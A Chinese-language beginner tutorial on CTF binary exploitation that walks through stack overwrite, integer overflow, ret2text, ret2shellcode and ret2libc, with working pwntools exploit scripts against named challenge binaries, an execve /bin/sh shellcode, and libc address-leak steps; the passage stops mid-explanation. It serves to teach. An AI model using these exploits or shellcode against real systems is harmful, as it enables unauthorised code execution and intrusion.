前言

什么是Pwn?

概念
”Pwn”是一个黑客语法的俚语词 ,是指攻破设备或者系统 。发音类似“砰”,对黑客而言,这就是成功实施黑客攻击的声音——砰的一声,被“黑”的电脑或手机就被你操纵了。
——————————————————————————————————百度百科

例子

试想有个端口对外开放着某种服务,如果你成功将它pwn掉,获取shell,提权之后这台服务器你就可以为所欲为;

即使无法提权,你也可以使用shell执行一些操作

入门者常用的Pwn方法

代表本文目前更新

  • 栈内变量覆盖

  • 整型溢出

  • ROP【全称为Return-oriented programming(返回导向编程)】

    • ret2text
    • ret2shellcode(未启用NX保护,栈可执行)
    • ret2libc (可用于绕过NX保护)
    • ret2syscall
    • ret2csu - 请移步下篇文章pwn进阶(尚未更新)
  • 格式化字符串漏洞

  • 构造ROP链 - 请移步下篇文章pwn进阶(尚未更新)

一些话

IDA上静态分析看到的东西有时和实际上运行的情况不一样,所以有时候需要进行动态分析,利用gdb等工具(IDA debug环境也可)

本文提供的程序全部为pyhton3,使用python2.7运行可能会遇到错误

本文篇幅较长,也比较枯燥,需要一些耐心进行阅读、思考

本文写给有c语言基础但是不懂pwn的人,介绍基础方法

开始之前

如果想知道相关工具的配置,请到本文后部分“相关”部分。(非常建议先把工具的使用方法了解一下)

本文可能存在一些错误,如有发现请麻烦指正,感激不尽。

导入

简单栈内变量覆盖

程序

ciscn_2019_n_1

程序下载: 本站网址/static/post/pwn-rop/ext/bin/ciscn_2019_n_1

checksec

amd64-64-little,为64位小端存储,开启NX保护

360截图18200421212046

运行一下

360截图170010146357111

IDA反编译

main函数

直接F5查看c伪代码,没有关键的东西,继续看func函数

360截图16821213116128116

func函数

汇编

360截图17581006396761

c伪代码

可以看到gets函数,这是个危险函数,我们从gets入手

360截图17581012897293

程序解释

程序打印“Let’s guess the number.”

程序读取输入,存到v1变量

程序判断v2的值是否为11.28125,是的话就执行system(“cat /flag”)

剩下的略过

可以发现v2并没有要求输入,但是v1可以输入任意数量的字符,由于v1 v2处于同一个栈,将v1输入一定数量的字符导致其溢出,溢出值覆盖v2的值即可

如下,v1首地址与v2首地址相差0x30-0x04也就是48-4 = 44

360截图16720330302642

Exploit

1
2
3
4
5
6
7
from pwn import *
#p = remote("pwn.challenge.ctf.show","28176")
p = process('./ciscn_2019_n_1')
p.recvuntil("Let's guess the number.")
payload1 = b'a' *(0x30-0x04) + p64(0x41348000)
p.sendline(payload1)
p.interactive()

Exp解释

到接受完”Let’s guess the number.”这一字符串,程序就发送44个a,再发送11.28125的十六进制形式

需要注意的是,p64()函数中填入浮点数会报错,为了避免这个错误,我们需要先将11.28125转化为十六进制形式

可以使用在线工具,网站在此

360截图17060226412864

小端程序和大端程序

本次使用的程序就是64位的小端程序,关于小端程序和大端程序的区别,其实就是一个存储方式的区别

小端和大端的区别,是会对我们pwn产生影响的,但是我们接触到的pwn程序一般为小端存储,简单了解下即可

1
2
3
4
5
6
7
大端模式(大尾)
* 存储规则:数据的高位存在内存的低位,数据的低位存在内存的高位。
* 常见软件:RAM(手机)上的应用多采用大端模式存储

小端模式(小尾)
* 存储规则:数据的低位存在内存的低位,数据的高位存在内存的高位。
* 常见软件:Intel AMD CPU上的应用多采用小端模式存储
  • 当一个变量的值位0x1122,0x11为高字节,0x22为低字节

在大端程序中,0x11存储在内存的低位,而0x22存储在内存的高位

在小端程序中,0x22存储在内存的低位,而0x11存储在内存的高位

  • 如果觉得有些抽象还可以看看这个判断程序(C语言)

来自此处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//大小端测试程序
#include <stdio.h>
#include <stdlib.h>
void checkCPUendian();
int main() {
checkCPUendian();
return 0;
}

void checkCPUendian() {
union {
unsigned int i;
unsigned char s[4];
}c;

c.i = 0x12345678;
printf("%s\n", (0x12 == c.s[0]) ? "大端模式" : "小端模式");
}

简单整型溢出

M78

欢迎来到M78星云的光之国,开始你的奇妙冒险吧!
题目入口:失效了/(ㄒoㄒ)/~~

初步尝试

对其执行checksec

*32位程序

*NX保护也就是栈不可执行

360截图1677080576118103

逆向分析

ida打开

先看主函数部分

调用了explorer函数

360截图16960429336025
看过了explore函数和后面的check函数,感觉找不到可以溢出的地方

找后门函数

先把后门函数找到

1
2
3
4
int call_main()
{
return system("/bin/sh");
}

记录下地址0x08049202

360截图17360625406856

尝试直接运行

不允许的情况

360截图1742091867118122

允许的情况

程序要求strlen得出为7才能允许,为啥输入6个a就能成?个人认为因为回车存在”\n”符,程序把换行符”\n”算进去了

360截图178605308685111

反而输入7个a是不能成的

360截图18141214688754

写了个c程序验证,果然如此

360截图17661023405132

开干

找溢出目标

可以看到调用了check函数

360截图17970217108134117

存在溢出的是strcpy那里,只需要让dest溢出即可,这个dest是下图中的第一句c程序char dest;

为啥?由于字符串复制(strcpy函数)s指针指向的字符数组的大小可以超过dest所在栈空间的最大值(ebp-18h那里)(也就是0x18),存在溢出

360截图16720331202657

关于溢出的的一些知识

这里就要讲一下上溢出

上溢出存在于有符号型数据类型,一个char型为一个字节,用于C或C++中定义字符型变量,

signed char范围是 -2^7 ~ 2^7-1,即-128到127

假设一个signed char变量的值为127,此时加1,它会变成-128

1
0b01111111->加1->0b100000000

ctfwiki中解释

1
2
3
0x7fff (0b0111111111111111)表示的是 32767,
但是 0x8000 (0b1000000000000000)表示的是 -32768,
用数学表达式来表示就是在有符号短整型中 32767+1 == -32768

既然有上溢出,当然也有下溢出

ctfwiki中解释

下溢出存在于无符号型数据类型

1
2
3
sub 0x8000, 1 == 0x7fff,
对于无符号来说是 32768 - 1 == 32767 是正确的,
但是对于有符号来说就变成了 -32768 - 1 = 32767。

要求满足字符长度为7的条件

char存储128的值会因为溢出而变成-128,也就是存储257后实际值就是1,下面有进行条件测试

360截图173606238712169

条件测试1

写了一个c程序进行观察

保存为1.c

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main() {
char buf; //保持和题目程序一致
char buf1[200];
scanf("%s", buf1); //数组不需要取地址&,或者也可以&buf1[0]
buf = strlen(buf1);
printf("%d\n", buf);
return 0;
}

gcc编译

使用-m32参数保证编译32位程序

1
gcc 1.c -o 1.o -m32

使用pwntools测试

1
2
3
4
5
6
from pwn import *
#p = remote("39.96.88.40","7010")
p = process('./1.o')
payload = (128)*'a'
p.sendline(payload)
p.interactive()

结果

360截图16520813108133127

更多结果

360截图17030622645889

360截图173606238712169

条件测试1总结

也就是输入256+i,存储的就是i(i为整数)

理顺条理

那么对于这道题目,我给它输入262个字符就行,262即256+6,剩下一个字符为“\n”,符合长度7

为啥?本文开头那里“尝试直接运行”部分有说明

构造payload

由于我使用python3,所以需要decode(“iso-8859-1”),python2.7无需此操作

1
0x18 * 'a' + 4 * 'a' + p32(0x08049202).decode("iso-8859-1") + (262-0x18-4-4) * 'a'

读入的最大大小为0x199u,也就是十进制409,262个字符输入是可行的

360截图1786053089110144

payload解释

0x18 * ‘a’ 中的0x18前面说过是dest存储的最大值,超过这个值造成dest变量溢出

汇编显示有leave指令,即mov esp,ebp和 pop ebp

pop ebp也就是说pop时候,出栈用esp寄存器接收数据

360截图18430706484576

4 * ‘a’ 是用于覆盖ebp寄存器的出栈数据(32位程序为4字节,64位程序就要为8字节了),使其出栈

详解ebp和esp寄存器

那么p32(0x08049202).decode(“iso-8859-1”)实际上是p32(0x08049202),是字节码,溢出时使ret指令跳到这个地址,使其执行位于0x08049202的函数

ret指令的作用

(262-0x18-4-4) * ‘a’是为了保证最后发送的为262个字符,-0x18就不多说了,前面已经有0x18个字符‘a’故减去,一个-4是因为前面的4 * ‘a’ 占去四个字符

而再次-4是因为p32(0x08049202)为4个字符的大小,下图使用python的函数len()计算出p32()为四个字符的长度

360截图18430708111141144

前面已经说明使用262的原因

Exploit

exploit如下

1
2
3
4
5
6
7
8
9
10
from pwn import *
p = remote("39.96.88.40","7010")
#p = process('./M78')

payload = 'a' * 0x18 + 4 * 'a' + p32(0x08049202).decode("iso-8859-1") + (262-0x18-8) * 'a'
p.sendlineafter("Your choice?",'1') #代替人工输入,sendlineafter意思是读到了“Your choice?”这个字符串才开始输入
p.sendlineafter("Please choose a building","test")#程序要求,随便输几个字符
p.sendlineafter("Please input the password", payload)#溢出点

p.interactive()

payload其他写法

这样写可能更好理解

1
2
payload = 'a' * (0x18 + 4) + p32(0x08049202).decode("iso-8859-1")
payload.ljust(262, "a")

简单ret2text

ret2text的简单理解就是利用.text段

什么时候使用ret2text?通常我们会反编译程序,查看是否有后门函数存在,如果后门函数如system(“/bin/sh”)存在,很有可能可以使用ret2text。

题目来自https://ctf.show/ 的 pwn02

下载程序

提供一个stack文件

checksec

可以看到这是32位的程序,开启NX

运行一下

IDA反编译

可以看到数组s的所在栈空间只能存9个字符,而程序允许50字符的读取,存在栈溢出

pwnme函数如下

还发现后门函数

地址位于0x804850F

程序解释

程序运行后要求用户输入,最多能输入50个字符,输入的字符存到数据类型为char的s变量中

Exploit

语言为python3

1
2
3
4
5
6
7
from pwn import *
#p = remote("pwn.challenge.ctf.show","28176")
p = process('./stack')
p.recv()#读取的信息无用
payload1 = 'a' *9 + 'a' *4 + p32(0x804850F).decode("iso-8859-1")
p.sendline(payload1)
p.interactive()

EXP解释

先使用9个字符填满s变量所在栈,造成溢出,再使用4个字符对ebp寄存器进行覆盖(程序在返回(ret)前会pop ebp,即对ebp进行出栈操作)(由于是32位程序,ebp寄存器能存4个字节,所以是4,64位程序是8)

结构如下:

(使用Windows自带画图工具画的,见谅)

r1

进阶ret2text

程序下载: 本站网址/static/post/pwn-rop/ext/bin/ret2text1

因为找不到想要的在text段有”/bin/sh”字段的程序,所以拿ctfwiki上的一题ret2libc1来讲,应当是类似的

checksec

360截图17230208666773

IDA反编译

360截图1624012811110499

存在后门函数,地址为0x08048460,但是只有system函数,不能获取shell

允许输入命令(由command变量)

360截图17270725476736

存在字符串”/bin/sh“

按图示操作

360截图17290430201353

显示

360截图16240127869180

找到字符串”/bin/sh“的地址为0X08048720,可以构造system(“/bin/sh”)

360截图17630328422827

程序解释

输出”RET2LIBC >_<“后读取任意长度字符存入所在栈空间为0x64个字节的s(char型)中

构造payload

1
2
3
4
5
#刚刚记下的地址
bin_sh_addr = 0x08048720
system = 0x08048460
#构造payload
payload = b'a' * (0x64+4) + p32(system) + b'a' * 4 + p32(bin_sh_addr)

编写exp

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
p = process('./ret2text1')

bin_sh_addr = 0x08048720
system = 0x08048460

payload = b'a' * (0x64+4) + p32(system) + b'a' * 4 + p32(bin_sh_addr)
p.recvuntil("RET2LIBC >_<")
p.sendline(payload)

p.interactive()

但是运行了之后无法get shell,显示EOF。

这种情况就是在文章开头时说的,有时IDA进行静态分析不太准确,

那么此时进行动态调试是必要的

使用GDB进行动态调试

实际上,我们填入的字符’a‘的数量是变量s相对于返回地址的偏移,

目的是为了p32(system)即system的地址能覆盖到程序的返回地址

现在要做的就是找到变量s相对于ebp的偏移,然后+4,就是变量s相对于返回地址的偏移

启动gdb

1
gdb ret2text1

在gets下断点

1
break gets

1
b gets

运行

1
run

1
r

找到s在0xffffd4dc

360截图1700101394139118

为了查看下面的栈,输入

(100按情况定,是后多少个的意思)

1
stack 100

找到ebp在0xffffd548

360截图179110139077115

计算偏移量

输入

1
distance 0xffffd4dc 0xffffd548

计算出s相对于ebp的偏移为0x6c,则变量s相对于返回地址的偏移为0x6c+4

360截图1798010310610591

Exploit

1
2
3
4
5
6
7
8
9
10
from pwn import *
p = process('./ret2text1')

bin_sh_addr = 0x08048720
system = 0x08048460

payload = b'a' * (0x6c+4) + p32(system) + b'a' * 4 + p32(bin_sh_addr)
p.sendline(payload)

p.interactive()

简单ret2shellcode

/bin/sh

找到一个大神的27 bytes-/bin/sh如下

16进制版shellcode如下,通过此shellcode可以实现system(“/bin/sh”)的功能

1
\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05

汇编语句如下,可以研究学习一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
;来自http://shell-storm.org/shellcode/files/shellcode-806.php

; * Execute /bin/sh - 27 bytes
; * Dad` <3 baboon
;rdi 0x4005c4 0x4005c4
;rsi 0x7fffffffdf40 0x7fffffffdf40
;rdx 0x0 0x0
;gdb$ x/s $rdi
;0x4005c4: "/bin/sh"
;gdb$ x/s $rsi
;0x7fffffffdf40: "\304\005@"
;gdb$ x/32xb $rsi
;0x7fffffffdf40: 0xc4 0x05 0x40 0x00 0x00 0x00 0x00 0x00
;0x7fffffffdf48: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
;0x7fffffffdf50: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
;0x7fffffffdf58: 0x55 0xb4 0xa5 0xf7 0xff 0x7f 0x00 0x00
;
;=> 0x7ffff7aeff20 <execve>: mov eax,0x3b
; 0x7ffff7aeff25 <execve+5>: syscall
;

main:
;mov rbx, 0x68732f6e69622f2f
;mov rbx, 0x68732f6e69622fff
;shr rbx, 0x8
;mov rax, 0xdeadbeefcafe1dea
;mov rbx, 0xdeadbeefcafe1dea
;mov rcx, 0xdeadbeefcafe1dea
;mov rdx, 0xdeadbeefcafe1dea
xor eax, eax
mov rbx, 0xFF978CD091969DD1
neg rbx
push rbx
;mov rdi, rsp
push rsp
pop rdi
cdq
push rdx
push rdi
;mov rsi, rsp
push rsp
pop rsi
mov al, 0x3b
syscall

配套简单ShellCode题目

程序下载: 本站网址/static/post/pwn-rop/ext/bin/leak

checksec

64位程序,没有开启NX,其它保护也没开

360截图17571115224066

运行

360截图1729042879116109

IDA反编译

没有可用system()函数

360截图18180717195769

看一下主函数

360截图18430707498357

反编译之后很好理解

360截图1791101495122144

程序解释

将s的地址打印出来

然后程序读取512个字符存入类型为char的s变量

漏洞
溢出点
1
2
char s;
fgets(&s, 512, stdin);
数组地址

因为Linux的地址随机化机制,每次运行程序都会给s分配一个随机地址,

而这个题目把s的地址打印出来,所以这个题目是降低了难度的

1
printf("Oops, I'm leaking! %p\n", &s);
理解

因为读取的512个字符大小超过了s的所在栈空间大小,导致溢出

又因为NX disable,所以可以执行shellcode,可以用shellcode来劫持程序

Exploit

如下,使用pwntools

请使用python3,下面的程序就是用了上面的16进制shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
if True:
p = process('./leak')

p.recvuntil("ops, I'm leaking! ")

shellcode_address_at_stack = int(p.recv()[0:14], 16)
#print(shellcode_address_at_stack)


p.send("\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05".ljust(64+8,'\x90'))#\x90换成a换成b等都可
p.send(p64(shellcode_address_at_stack).decode("iso-8859-1"))#decode("iso-8859-1")是因为运行程序是python3,如果是python2.7使用p64()时就就不需要加
#print(len(shellcode))
p.interactive()

第二个版本(有debug输出)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
if True:
p = process('./leak')
context(os='linux', arch='amd64',log_level='debug')
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

p.recvuntil("ops, I'm leaking! ")
shellcode_address_at_stack = int(p.recvuntil("\n"),16)

print(hex(shellcode_address_at_stack))
p.recvuntil("> ")
# gdb.attach(p,'')
#print(shellcode_address_at_stack)


#p.send("\x90"*(64+8))

payload = shellcode
payload += '\x90'*(72-len(shellcode))
payload += p64(shellcode_address_at_stack,endianness="little").decode("iso-8859-1")
p.sendline(payload)
#print(len(shellcode))
p.interactive()

EXP解释

简单解释:

输入0x40(十进制64)个字符就能装满s,再输任意字符就能导致s溢出

先导入shellcode再填充至72(64+8)(8是因为64位程序),再发送s的地址就能完成劫持

深入分析:

分析如图所示汇编程序:

程序读取64个字符(0x40)后(call _fgets后面),先用mov指令将0传送到eax寄存器

然后leave指令,即

1
2
mov esp,ebp
pop ebp

pop指令会进行出栈操作,所以要用64个字符(结构:shellcode+无用字符)后再填充8个字符(结构:无用字符)对其进行覆盖,再发送s的地址

最后ret指令(retn)就会执行发送的shellcode(地址被覆盖为s的地址)

ret指令:

先数据传送,再出栈

1
2
1. 数据传送ebp到esp
2. rsp-=8 出栈

结构如下:

(Windows自带画图工具)

r2

简单ret2libc

少许GOT表和PLT表知识

图片由lx制作

360截图17860605110129102

PLT表中存放的是GOT表的地址,当程序要调用某个函数时,会先通过PLT表获取GOT表中存放的函数在内存中的实际地址,再通过实际地址跳转到函数实际所在位置

由于32位程序和64位程序有些区别,所以这里会单独介绍32位和64位程序的做法

ELF

程序1

32位程序

32位程序使用栈传递参数

程序描述

题目来自CTF.show 的 pwn03

程序下载: 本站网址/static/post/pwn-rop/ext/bin/stack1

360截图17060223638358

checksec

可以看到开启了NXPartial RELRO函数只有在调用时才去执行加载,如果是Full RELRO则不适用ret2libc

360截图17571115315360

运行一下

360截图1795050993110100

IDA反编译

先进行静态分析

程序中自身就没有system函数和”/bin/sh”字符串,并且没有给出libc.so文件

对main函数

汇编

360截图18720120100107129

伪C

360截图16720328466669

对pwnme函数

汇编

360截图17571115635246

C伪代码如下

360截图18430702427333

程序解释

开始时,打印”stack happy!”和”32bits\n”

程序读取100个字符存入类型为char的s变量,s的所在栈空间大小为9个字符

再打印”\nExiting”

思路解释 and Exploitation

  • 先了解前提条件

    这个程序没有后门函数,而且开启了NX保护,存在ASLR(地址空间布局随机化,函数地址不固定)

  • 取得程序libc版本
    当我们知道它的libc版本,就可以利用libc,构造system(“/bin/sh”)

  • 确定输出函数

    因为程序使用了puts函数,所以以puts函数为突破口,泄漏puts函数在GOT表里的地址,以此地址确认libc的版本

    取地址的后三位数字确认libc的版本(地址随机化,对地址中间位进行随机,不过地址的倒数三个数字能确定)

  • 求基地址

    之后找puts函数在此版本libc中的偏移量,目的是为了求得基地址

    由我们获取puts函数的实际地址,减去libc中puts函数的偏移量,可以获取基地址(base)

  • 当获取到了基地址,即可构造system(“/bin/sh”)

    基地址加上libc上system函数的偏移量,就是远端机器实际上内存中libc中system函数的实际地址,再获取libc中的”/bin/sh”字符的实际地址,与前面的system函数配合,即可拿到shell

  • 构造完成,劫持程序

    将程序劫持到system(“/bin/sh”)

PLT表和GOT表前面已经有简单的介绍,如果还不太清楚,可以再回去了解一下


我们先把puts函数在GOT表里的地址弄出来

程序为python3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

pwn_file = './stack1'
elf = ELF(pwn_file)
p = process(pwn_file)

puts_plt = elf.plt['puts']#puts函数在plt表的地址
puts_got = elf.got['puts']#puts函数在got表的地址
main_addr = elf.symbols['main']#main函数的地址

payload = p32(puts_plt) + p32(main_addr) + p32(puts_got)
p.send("A"*(9+4))#填满变量,再覆盖ebp
p.sendline(payload)
p.recvuntil('\n\n')
puts_addr = u32(p.recv(4).decode("iso-8859-1").ljust(4, "\00"))
print(hex(puts_addr))

在Ubuntu20.04运行结果如下

360截图17001019283463

当连接到远程环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

elf = ELF( './stack1')
p = remote("pwn.challenge.ctf.show","28115")#远程机器,请根据题目给的地址改

puts_plt = elf.plt['puts']#puts函数在plt表的地址
puts_got = elf.got['puts']#puts函数在got表的地址
main_addr = elf.symbols['main']#main函数的地址

payload = p32(puts_plt) + p32(main_addr) + p32(puts_got)
p.send("a"*(9+4))#填满变量,再覆盖ebp
p.sendline(payload)
p.recvuntil('\n\n')
puts_addr = u32(p.recv(4).decode("iso-8859-1").ljust(4, "\00"))
print(hex(puts_addr))

得到地址如下

360截图1712051910812292

可以看到两个地址不相同,还是以远端机器为主,这里取后三位数字360

1、关于payload写法(暂时不能确定是否完全正确,有待以后验证):

调用某个函数,取其plt地址

1
p32(puts_plt)

对于函数和数据,调用的函数地址在前,数据的地址在后

如之前写的

1
p32(puts_plt) + p32(puts_got)

即put(puts_got)

对于函数之间,先调用的函数在前

1
p32(puts_plt) + p32(main_addr)

即先调用puts(),再返回main()

而上面给的程序

1
p32(puts_plt) + p32(main_addr) + p32(puts_got)

会先put(puts_got), 再ret main

使用puts函数要求填入一个参数,p32(puts_got)即填入puts里的参数

注意,ret main【即p32(main_addr)】是必要的,否则程序将继续执行下一条指令直到退出,p32(main_addr)是puts函数执行完的返回值,意思是返回到main函数,如果缺少这个返回值,程序会出错

可以是其它函数的got地址

类比如下

下面这样写就是fgets

1
2
fgets_got = elf.got['fgets']
payload = p32(puts_plt) + p32(main_addr) + p32(fgets_got)

如果是write函数,应当填入3个参数,

write(1, str, length),1代表stdout程序输出流, length是读取字节数

1
2
write_got = elf.got['write']
payload = p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)

2、关于puts_addr的获取的说明

实际上完整的p.recv()如下

1
b'stack happy!\n32bits\n\n\x10X\xd7\xf7`s\xd7\xf7\x90\x8d\xd2\xf7\xc0z\xd7\xf7\nstack happy!\n32bits\n\n

我们只获取第一次”stack happy!\n32bits\n\n“后面的东西,所以获取到”\n\n“即可(略过’\n\n’及其前面的东西)

1
p.recvuntil('\n\n')

当然这样写也是可以的

1
p.recvuntil('stack happy!\n32bits\n\n')

得到

1
b'\x10X\xd7\xf7`s\xd7\xf7\x90\x8d\xd2\xf7\xc0z\xd7\xf7\nstack happy!\n32bits\n\n

因为地址是4个字节的,我们只需要再获取4个字节

1
p.recv(4)

但由于u32()要求输入的是四个字节的数据,有时p.recv(4)获取的东西可能不足4个字节,给他用“\00”进行补充

1
u32(p.recv(4).decode("iso-8859-1").ljust(4, "\00"))

最后转换为hex(16进制)

1
hex()

u32()的解释可看此处

简单来说就是bytes的解压,p32()是bytes的压缩,recv()返回的数据类型为byte,而decode(“iso-8859-1”)可以将byte解码为str


然后根据GOT表里的地址确定libc版本,获取基地址

此网站查找puts,360

360截图178605306792107

计算基地址:

泄露出来的puts地址- puts在libc中的Offset

即0xf7d73360- 0x067360

1
base_addr = puts_addr - 0x067360

根据偏移量和基地址构造system(“/bin/sh”)

360截图1789122990108115

1
2
system_addr = base_addr + 0x03cd10
bin_sh_addr = base_addr + 0x17b8cf

之前已经调用过main了,所以程序会再次要求用户输入,只需再次发送payload

1
payload1 = b'a'*(9+4) + system_addr + b'a'*4 + bin_sh_addr

完整EXP如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

elf = ELF( './stack1')
p = remote("pwn.challenge.ctf.show","28115")#远程机器,请根据题目给的地址改

puts_plt = elf.plt['puts']#puts函数在plt表的地址
puts_got = elf.got['puts']#puts函数在got表的地址
main_addr = elf.symbols['main']#main函数的地址

payload = p32(puts_plt) + p32(main_addr) + p32(puts_got)
p.send("a"*(9+4))#填满变量,再覆盖ebp寄存器
p.sendline(payload)
p.recvuntil('\n\n')
puts_addr = u32(p.recv(4).decode("iso-8859-1").ljust(4, "\00"))
base_addr = puts_addr - 0x067360
system_addr = base_addr + 0x03cd10
bin_sh_addr = base_addr + 0x17b8cf
payload1 = 'a'*(9+4) + p32(system_addr).decode("iso-8859-1") + 'a'*4 + p32(bin_sh_addr).decode("iso-8859-1")
p.sendline(payload1)
p.interactive()

程序2(进阶)

64位程序

64位程序函数的调用方式与32位存在区别,使用寄存器传递参数

寄存器有rdi、rsi、rdx、rcx、r8、r9(1-6个参数)

程序描述

ciscn_2019_c_1

程序下载: 本站网址/static/post/pwn-rop/ext/bin/ciscn_2019_c_1

程序中自身就没有system函数和”/bin/sh”字符串,并且没有给出libc.so文件

checksec

64位程序,NX开启,Partial RELRO

360截图18720119154565

运行一下

感觉有些无语

360截图18430709106135148

静态分析(IDA反编译)

main函数

C伪代码

屏幕截图 2021-07-24 145001

汇编程序

屏幕截图 2021-07-24 152621

begin函数

屏幕截图 2021-07-24 152138

encrypt函数

C伪代码

屏幕截图 2021-07-24 152348

汇编

360截图17360617102135101

程序分析

运行程序后,打印

1
2
3
4
5
6
7
8
9
10
11
12
13
EEEEEEE                            hh      iii                \n
EE mm mm mmmm aa aa cccc hh nn nnn eee \n
EEEEE mmm mm mm aa aaa cc hhhhhh iii nnn nn ee e \n
EE mmm mm mm aa aaa cc hh hh iii nn nn eeeee \n
EEEEEEE mmm mm mm aaa aa ccccc hh hh iii nn nn eeeee \n
====================================================================\n
Welcome to this Encryption machine\n
\n
====================================================================\n
1.Encrypt\n
2.Decrypt\n
3.Exit\n
Input your choice!\n

程序首先要求我们选择模式,1为加密,2为解密,3为退出

输入1,程序打印

1
Input your Plaintext to be encrypted\n

程序将读取任意长度字符,存入s中,s仅能存0x50个字符,然后程序再根据ASCII码,

对大于ASCII值47,小于等于ASCII值57(此范围对应字符0-9)的字符进行对0XF的异或,

对于大于ASCII值64,小于等于ASCII值90的字符(此范围对应字符A-Z)的字符进行对0XE的异或,

对于大于ASCII值96,小于等于ASCII值122的字符(此范围对应字符a-z)的字符进行对0XD的异或,

之后输出加密完的字符会返回begin函数,打印提示。

1
2
Ciphertext\n
\n

输入1之后的加密过程其实不重要,我们只需要关注它对任意长度字符的读取导致的溢出

输入2,程序提示 你应该能自己解密。。。然后返回begin函数,打印提示

输入3,直接return 0正常结束程序

思路

  • 还是像之前的32位程序那样,先泄露puts的地址(因为这里使用了puts),根据后三位数字判断其libc地址
  • 获取基地址,利用libc偏移量构造system(“/bin/sh”)
构造payload1

用于泄露puts的地址

关于32位和64位程序的区别前面已经有提过,在我们构造payload时就会体现这个区别

64位程序使用寄存器传值,因为puts函数只要一个参数,只需要找rdi寄存器(第一个传值的寄存器)的地址


先获取rdi寄存器的地址

需要借助ROPgadget,安装方法见文章底部“相关”部分

ROPgadget可以查看所有的地址和汇编指令

1
ROPgadget --binary ciscn_2019_c_1 

360截图18141223398536

为了防止眼花,最好让它自己找出来

1
ROPgadget --binary ciscn_2019_c_1 | grep 'rdi'

找到pop rdi ; ret,地址为0x0000000000400c83,可写为0x400c83

360截图17001014196738


依然是直接连接远程主机,原因的话前面已经解释过了

程序为python3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

p = remote("node4.buuoj.cn","28884")
elf=ELF('./ciscn_2019_c_1')

rdi = 0x400c83
main_addr = elf.symbols['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

p.sendlineafter('Input your choice!\n','1')
payload1 = b'a'*(0x50+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
p.sendlineafter('Input your Plaintext to be encrypted\n',payload1)
p.recvuntil('Ciphertext\n')
p.recvuntil('\n')

puts_addr = u64(p.recvuntil('\n').decode("iso-8859-1").replace("\n", "").ljust(8,'\00'))
print(hex(puts_addr))
payload1的解释

1、b’a’*(0x50+8)应该不需要解释了

2、p64(rdi)+p64(puts_got)是把puts_got的地址传给rdi寄存器

3、p64(puts_plt)是因为找到的pop rdi ; ret存在ret指令,p64(rdi)+p64(puts_got)传完值执行ret指令就能返回到puts_plt表的地址,执行puts函数,打印rdi寄存器里puts_got的地址,p64(main)是puts函数执行完后ret main返回到main函数的地址,再次执行主函数,所以可以看到启动程序时的提示信息出现了两次

下图为payload1发送完接受的信息 ,启动程序时的提示信息第二次出现

360截图167204049482108

4、p.recvuntil(‘Ciphertext\n’)和p.recvuntil(‘\n’)可以先去掉前面的无用信息,使用

1
p.recvuntil('\n')

接收,得到